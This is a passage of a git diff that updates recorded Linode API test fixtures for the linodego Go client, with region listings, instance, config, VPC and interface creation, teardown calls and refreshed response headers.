"sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", - "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, - 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": - "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, - 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", + "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, + 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, + 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": - 25}' + 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", + "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, + 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -228,7 +272,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:04 GMT + - Fri, 31 May 2024 18:19:03 GMT Pragma: - no-cache Strict-Transport-Security: @@ -245,7 +289,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -254,7 +301,7 @@ interactions: code: 200 duration: "" - request: - body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-e53276tlgpj3","booted":false}' + body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-3u7348kbc4zs","firewall_id":501582,"booted":false}' form: {} headers: Accept: @@ -266,15 +313,16 @@ interactions: url: https://api.linode.com/v4beta/linode/instances method: POST response: - body: '{"id": 54933550, "label": "go-test-ins-wo-disk-e53276tlgpj3", "group": + body: '{"id": 59544169, "label": "go-test-ins-wo-disk-3u7348kbc4zs", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "type": "g6-nanode-1", "ipv4": ["139.144.202.56"], "ipv6": "1234::5678/128", + "type": "g6-nanode-1", "ipv4": ["172.234.42.28"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": - false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": - "069a01c443a4c034edaff10aeecdf8fb95ec66ba", "has_user_data": false}' + "fd4fc8c27644288806281ff46f10a1f3afe5cb08", "has_user_data": false, "placement_group": + null}' headers: Access-Control-Allow-Credentials: - "true" @@ -291,13 +339,13 @@ interactions: Connection: - keep-alive Content-Length: - - "737" + - "760" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:05 GMT + - Fri, 31 May 2024 18:19:04 GMT Pragma: - no-cache Strict-Transport-Security: @@ -312,7 +360,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "10" X-Xss-Protection: @@ -321,7 +372,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-conf-rmd8l20c9s40","devices":{},"interfaces":null}' + body: '{"label":"go-test-conf-09eah94hkt85","devices":{},"interfaces":null}' form: {} headers: Accept: @@ -330,10 +381,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933550/configs + url: https://api.linode.com/v4beta/linode/instances/59544169/configs method: POST response: - body: '{"id": 58037967, "label": "go-test-conf-rmd8l20c9s40", "helpers": {"updatedb_disabled": + body: '{"id": 62730805, "label": "go-test-conf-09eah94hkt85", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", @@ -362,7 +413,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:05 GMT + - Fri, 31 May 2024 18:19:04 GMT Pragma: - no-cache Strict-Transport-Security: @@ -377,7 +428,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -386,7 +440,7 @@ interactions: code: 200 duration: "" - request: - body: '{"label":"go-test-vpc-1707934145813383000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1707934145813486000","ipv4":"192.168.0.0/25"}]}' + body: '{"label":"go-test-vpc-1717179544188846000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1717179544188902000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: @@ -398,8 +452,8 @@ interactions: url: https://api.linode.com/v4beta/vpcs method: POST response: - body: '{"id": 22681, "label": "go-test-vpc-1707934145813383000", "description": - "", "region": "us-iad", "subnets": [{"id": 23560, "label": "linodego-vpc-test-1707934145813486000", + body: '{"id": 64439, "label": "go-test-vpc-1717179544188846000", "description": + "", "region": "us-iad", "subnets": [{"id": 62997, "label": "linodego-vpc-test-1717179544188902000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' @@ -425,7 +479,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:06 GMT + - Fri, 31 May 2024 18:19:04 GMT Pragma: - no-cache Strict-Transport-Security: @@ -440,7 +494,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -449,7 +506,7 @@ interactions: code: 200 duration: "" - request: - body: '{"purpose":"vpc","subnet_id":23560}' + body: '{"purpose":"vpc","subnet_id":62997}' form: {} headers: Accept: @@ -458,11 +515,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933550/configs/58037967/interfaces + url: https://api.linode.com/v4beta/linode/instances/59544169/configs/62730805/interfaces method: POST response: - body: '{"id": 1041190, "purpose": "vpc", "primary": false, "active": false, "ipam_address": - null, "label": null, "vpc_id": 22681, "subnet_id": 23560, "ipv4": {"vpc": "192.168.0.2", + body: '{"id": 1598961, "purpose": "vpc", "primary": false, "active": false, "ipam_address": + null, "label": null, "vpc_id": 64439, "subnet_id": 62997, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: @@ -486,7 +543,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:06 GMT + - Fri, 31 May 2024 18:19:04 GMT Pragma: - no-cache Strict-Transport-Security: @@ -501,7 +558,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -519,11 +579,11 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933550/configs/58037967/interfaces + url: https://api.linode.com/v4beta/linode/instances/59544169/configs/62730805/interfaces method: GET response: - body: '[{"id": 1041190, "purpose": "vpc", "primary": false, "active": false, "ipam_address": - null, "label": null, "vpc_id": 22681, "subnet_id": 23560, "ipv4": {"vpc": "192.168.0.2", + body: '[{"id": 1598961, "purpose": "vpc", "primary": false, "active": false, "ipam_address": + null, "label": null, "vpc_id": 64439, "subnet_id": 62997, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}]' headers: Access-Control-Allow-Credentials: @@ -547,7 +607,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:06 GMT + - Fri, 31 May 2024 18:19:04 GMT Pragma: - no-cache Strict-Transport-Security: @@ -563,7 +623,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -581,7 +644,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933550/configs/58037967/interfaces/1041190 + url: https://api.linode.com/v4beta/linode/instances/59544169/configs/62730805/interfaces/1598961 method: DELETE response: body: '{}' @@ -607,7 +670,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:06 GMT + - Fri, 31 May 2024 18:19:05 GMT Pragma: - no-cache Strict-Transport-Security: @@ -622,7 +685,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -640,7 +706,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933550/configs/58037967/interfaces + url: https://api.linode.com/v4beta/linode/instances/59544169/configs/62730805/interfaces method: GET response: body: '[]' @@ -666,7 +732,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:06 GMT + - Fri, 31 May 2024 18:19:05 GMT Pragma: - no-cache Strict-Transport-Security: @@ -682,7 +748,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -700,7 +769,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/linode/instances/54933550 + url: https://api.linode.com/v4beta/linode/instances/59544169 method: DELETE response: body: '{}' @@ -726,7 +795,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:07 GMT + - Fri, 31 May 2024 18:19:05 GMT Pragma: - no-cache Strict-Transport-Security: @@ -741,7 +810,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: @@ -759,7 +831,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/vpcs/22681 + url: https://api.linode.com/v4beta/vpcs/64439 method: DELETE response: body: '{}' @@ -785,7 +857,7 @@ interactions: Content-Type: - application/json Expires: - - Wed, 14 Feb 2024 18:09:07 GMT + - Fri, 31 May 2024 18:19:05 GMT Pragma: - no-cache Strict-Transport-Security: @@ -800,7 +872,10 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: diff --git a/test/integration/fixtures/TestInstance_ConfigInterfaces_List.yaml b/test/integration/fixtures/TestInstance_ConfigInterfaces_List.yaml index df2d3c68a..b07d91e7a 100644 --- a/test/integration/fixtures/TestInstance_ConfigInterfaces_List.yaml +++ b/test/integration/fixtures/TestInstance_ConfigInterfaces_List.yaml @@ -15,199 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": - "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", - "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, - 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, - 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "nl-ams", - "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, - 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, - 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, - 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", - "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, - 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, - 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "jp-osa", - "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", 